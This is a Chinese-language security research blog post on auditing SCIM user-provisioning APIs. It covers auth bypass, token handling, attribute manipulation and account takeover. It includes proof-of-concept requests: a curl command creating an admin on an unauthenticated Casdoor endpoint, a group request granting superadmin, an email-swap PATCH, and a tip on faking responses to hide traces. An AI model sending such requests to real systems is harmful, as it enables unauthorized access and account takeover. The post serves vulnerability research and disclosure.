SCIM安全测试指南 - 超越SSO的漏洞挖掘

本文深入探讨SCIM协议的安全测试方法，涵盖认证绕过、令牌管理、用户重配置、内部属性操纵等漏洞类型，通过实际案例展示如何发现和利用SCIM实现中的安全缺陷，为安全研究人员提供实用的测试指南。

SCIM安全测试 - 超越SSO

引言

单点登录相关漏洞近年来获得了极大的关注，并出现了许多优秀的公开披露。仅举几个例子：

  • 常见OAuth漏洞
  • 通过解析差异绕过SAML SSO认证
  • 在OAuth登录流程中使用"脏舞"进行账户劫持

等等 - 外面有很多宝藏。

毫不奇怪，使用自定义实现的系统受影响最大，因为将SSO与平台的用户对象模型集成并非易事。

然而，虽然SSO经常占据中心舞台，但另一个标准经常未被充分测试 - SCIM（跨域身份管理系统）。在本博客文章中，我们将深入探讨其核心方面以及我们在测试客户实现时经常发现的不安全设计问题。

目录

  • SCIM 101
  • 漏洞挖掘
  • 额外关注领域
  • 结论

SCIM 101

SCIM是一个旨在自动化跨系统用户账户配置和取消配置的标准，确保连接部分之间的访问一致性。

该标准在以下RFC中定义：RFC7642、RFC7644、RFC7643。

虽然它不是专门设计为IdP到SP的协议，而是用于云环境的通用用户池同步协议，但现实世界场景主要将其嵌入在IdP-SP关系中。

核心组件

简而言之，该标准定义了一组由服务提供商公开的RESTful API，这些API应可由其他参与者（主要是身份提供商）调用以更新用户池。

它提供具有以下操作集的REST API来编辑托管对象：

因此，我们可以将SCIM总结为一组可用于对表示用户身份的一组JSON编码对象执行CRUD操作的API。

核心功能

如果您想在SCIM实现中寻找漏洞，以下是在审计期间需要审查的核心功能列表：

  • 服务器配置和认证/授权中间件 - SCIM未定义其认证/授权方法，因此它始终是自定义的
  • SCIM对象到内部对象映射功能 - 后端如何将SCIM对象转换/链接到内部用户和组对象
  • 操作执行逻辑 - 身份相关对象中的更改通常会触发应用程序流程

注意影响

作为直接的IdP到SP通信，大多数由此产生的问题需要在IdP或SP中具有一定级别的访问权限。因此，攻击的复杂性可能会降低您的大多数发现。

相反，在多租户平台中，影响可能会飙升，其中SCIM用户可能缺乏常见的租户隔离逻辑。

漏洞挖掘

以下是在审计SCIM实现时应寻找的一些有价值的漏洞示例。

认证绕过

几个月前，我们发布了关于Casdoor IdP实例中未经认证的SCIM操作的安全公告。这是一个支持各种认证标准的开源身份解决方案，如OAuth、SAML、OIDC等。当然，SCIM也被包括在内，但作为一项服务，意味着Casdoor也将允许外部参与者操作其用户池。

Casdoor使用了elimity-com/scim库，根据标准，该库默认在其配置中不包括认证。因此，使用此库定义和公开的SCIM服务器保持未经认证状态。

1
2
3
4

server := scim.Server{
 Config: config,
 ResourceTypes: resourceTypes,
}

利用实例需要匹配配置域的电子邮件。可使用SCIM POST操作创建匹配内部电子邮件域和数据的新用户。

1
2
3
4
5
6
7
8
9

curl --path-as-is -i -s -k -X $'POST' \
 -H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \
 --data-binary $'{\"active\":true,\"displayName\":\"Admin\",\"emails\":[{\"value\":
\"admin2@victim.com\"}],\"password\":\"12345678\",\"nickName\":\"Attacker\",
\"schemas\":[\"urn:ietf:params:scim:schemas:core:2.0:User\",
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\"],
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\":{\"organization\":
\"built-in\"},\"userName\":\"admin2\",\"userType\":\"normal-user\"}' \
 $'https://<CASDOOR_INSTANCE>/scim/Users'

然后，使用新的管理员用户admin2:12345678认证到IdP仪表板。

注意：维护者发布了一个新版本，其中包含修复程序。

虽然这是一个非常简单但关键的问题，但在经过认证的实现中也可以找到绕过。在其他情况下，服务可能仅在内部可用且不受保护。

SCIM令牌管理

[*] IdP端问题

由于SCIM密钥允许对服务提供商执行危险操作，因此应保护它们免受设置后发生的提取。在配置的应用程序上测试或编辑IdP SCIM集成时，如果连接器URL与先前设置的URL不同，应需要输入新的SCIM令牌。

发现一个著名的IdP正在向/v1/api/scim/Users?startIndex=1&count=1发出SCIM集成测试请求，使用旧密钥，同时接受新的baseURL。

+1 额外 - 覆盖痕迹：通过使用预期数据的成功SCIM集成测试的模拟响应JSON来避免记录错误。

用户查询的模拟响应JSON示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

{
    "Resources": [
        {
            "externalId": "<EXTID>",
            "id": "francesco+scim@doyensec.com",
            "meta": {
                "created": "2024-05-29T22:15:41.649622965Z",
                "location": "/Users/francesco+scim@doyensec.com",
                "version": "<VERSION"
            },
            "schemas": [
                "urn:ietf:params:scim:schemas:core:2.0:User"
            ],
            "userName": "francesco+scim@doyensec.com"
        }
    ],
    "itemsPerPage": 2,
    "schemas": [
        "urn:ietf:params:scim:api:messages:2.0:ListResponse"
    ],
    "startIndex": 1,
    "totalResults": 8
}

[*] SP端问题

SCIM令牌的创建和读取应仅允许高特权用户。目标用于管理它的SP端点，并寻找授权问题，或使用漂亮的XSS或其他漏洞来升级平台中的访问级别。

不需要的用户重新配置回退

由于实时用户访问管理是SCIM的核心，因此也值得寻找导致取消配置的用户返回SP访问权限的回退。

例如，让我们看下面的update_scimUser函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

def can_be_reprovisioned?(usrObj)
    return true if usrObj.respond_to?(:active) && !usrObj.active?
    false
end

def update_scimUser(usrObj)
    # [...]
    if parser.deprovision_user?
      # [...]
    #  (o)__(o)'
    elsif can_be_reprovisioned?(usrObj) 
      reprovision(usrObj)
    else
      true
    end
end

由于respond_to?(:active)对于SCIM身份始终为true。如果用户不活动，条件!identity.active?将始终为true并导致重新配置。

因此，任何SCIM更新请求将回退到重新配置，如果用户因任何原因不活动。

内部属性操纵

在将身份同步外包给SCIM时，选择将从SCIM对象复制到新内部对象的内容变得至关重要，因为错误可能来自"过度"的属性允许。

[*] 示例1 - 内部权限提升

一个客户端支持通过SCIM端点配置和更新Okta组和用户。

它将Okta组转换为具有自定义标签的内部角色，以引用"Okta资源"。特别是，函数resource_to_access_map从提供的SCIM组资源构造了一个未经验证的访问映射。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

[...]
group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())

var role_list []string
//  (o)__(o)'
if resource.Id != "" {
    role_list = []string{resource.Id}
}
//...
return access_map, nil, nil

实现问题在于role_list中的角色名称是在从第三方源传递的Id属性上构造的。

后来，另一个函数更新了从SCIM事件构造的Role对象，没有进一步检查。因此，可以通过在SCIM组ID中匹配其名称来覆盖平台中的任何现有资源。

例如，如果SCIM组资源ID设置为内部角色名称，会发生有趣的事情。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    "schemas": ["urn:ietf:params:scim:schemas:core:2.0:Group"],
    "id":"superadmin",
    "displayName": "TEST_NAME",
    "members": [{
        "value": "francesco@doyensec.com",
        "display": "francesco@doyensec.com"
    }]
}

平台创建了一个名为TEST_NAME的访问映射，向成员授予superadmin角色。

[*] 示例2 - SCIM到用户映射中的批量分配

根据对象映射策略，其他内部属性操纵可能是可能的。

一个有价值的示例可能如下所示。

1
2
3
4
5

SSO_user.update!(
    external_id: scim_data["externalId"],
    #         (o)__(o)' 
    userData: Oj.load(scim_req_body),
)

即使Oj默认值被覆盖，仍然可以将任何数据放入SCIM请求并通过userData访问它。逻辑假设它只包含SCIM属性。

验证绕过

此类别包含由SCIM事件引起的更新未应用所需的内部用户管理过程而产生的所有漏洞。

一个相关的有趣发现是Gitlab绕过电子邮件验证。我们在评估期间也发现了涉及绕过代码验证过程的类似案例。

[*] 示例 - 相同但带有代码绕过

SCIM电子邮件更改未触发其他电子邮件更改操作所需的典型确认流程。

攻击者可以请求向其电子邮件发送验证代码，使用SCIM将电子邮件更改为受害者电子邮件，然后兑换代码从而验证新的电子邮件地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "userName": "<VICTIM_ADDRESS>"
    }
    }
  ]
}

账户接管

在多租户平台中，SSO-SCIM身份应链接到基础用户对象。虽然它不是RFC的一部分，但需要管理用户属性以最终触发平台的验证和所有权检查过程。

一个公共示例案例是在更新基础用户时出现问题 - CVE-2022-1680 - 通过SCIM电子邮件更改的Gitlab账户接管。以下是在我们一个客户中发现的非常相似的实例。

[*] 示例 - 相同但不同

一个客户端允许SCIM操作更改用户的电子邮件并执行账户接管。

函数set_username在每次创建或更新SCIM用户时被调用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

#[...]
underlying_user = sso_user.underlying_user
sso_user.scim["userName"] = new_name
sso_user.username = new_name
tenant = Tenant.find(sso_user.id)
underlying_user&.change_email!(
  new_name,
  validate_email: tenant.isAuthzed?(new_name)
)

def underlying_user
    return nil if !tenant.isAuthzed?(self.username)
    # [...]
    #                                   (o)__(o)' 
    @underlying_user = User.find_by(email: self.username)
end

如果组织无权根据isAuthzed管理用户，则underlying_user应为nil，从而阻止更改。在我们的特定情况下，授权功能未保护处于特定状态的用户免遭接管。SCIM可用于强制更改受害者用户的电子邮件，并在将其添加到租户后接管账户。如果与经典的"强制租户加入"问题结合，可以形成一个很好的链。

此外，由于平台未防止多SSO上下文切换，一旦使用新电子邮件认证，攻击者可以访问用户所属的所有其他租户。

额外关注领域

有趣的SCIM操作语法

根据rfc7644，Path属性定义为：

“path"属性值是一个包含描述操作目标的属性路径的字符串。“path"属性对于"add"和"replace"是可选的，对于"remove"操作是必需的。

由于path属性是可选的，当它是执行逻辑的一部分时，应仔细管理nil可能性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

def exec_scim_ops(scim_identity, operation)
    path = operation["path"]
    value = operation["value"]

    case path
    when "members"
      # [...]
    when "externalId"
      # [...]
    else
      # 半捕获所有逻辑！
    end
end

放置捕获所有默认值可能允许另一种PatchOp消息语法仍然命中受限情况之一，同时跳过检查。以下是一个SCIM请求正文示例，它将跳过externalId检查并在上述上下文中编辑它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "externalId": "<ID_INJECTION>"
        }
    }
  ]
}

操作的value允许包含<属性:值>的字典。

批量操作顺序评估

由于可能支持批量操作，这些实现中可能出现特定问题：

  • 竞争条件 - 排序逻辑可能不包括对每个步骤中触发的额外过程的推理
  • 缺少循环引用保护 - RFC7644明确讨论循环引用处理

JSON互操作性

由于SCIM采用JSON进行数据表示，JSON互操作性攻击可能导致挖掘列表中描述的大多数问题。一个著名的起点是文章：JSON互操作性漏洞探索。

一旦发现SCIM实现中使用的解析库，检查其他内部逻辑是否在存储的JSON序列化上依赖，同时使用不同的解析器进行比较或解组。

尽管是一种相对简单的格式，但JSON解析器差异可能导致有趣的案例。

结论

作为SSO的扩展，SCIM有潜力在特定情况下启用关键利用。如果您正在测试SSO，SCIM也应该在范围内！

最后，SCIM实现中最有趣的漏洞需要深入了解应用程序的授权和认证机制。真正的价值在于识别SCIM对象和映射的内部用户对象之间的差异，因为这些差异通常会导致有影响的发现。

comments powered by Disqus
© 2020 - 2025 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次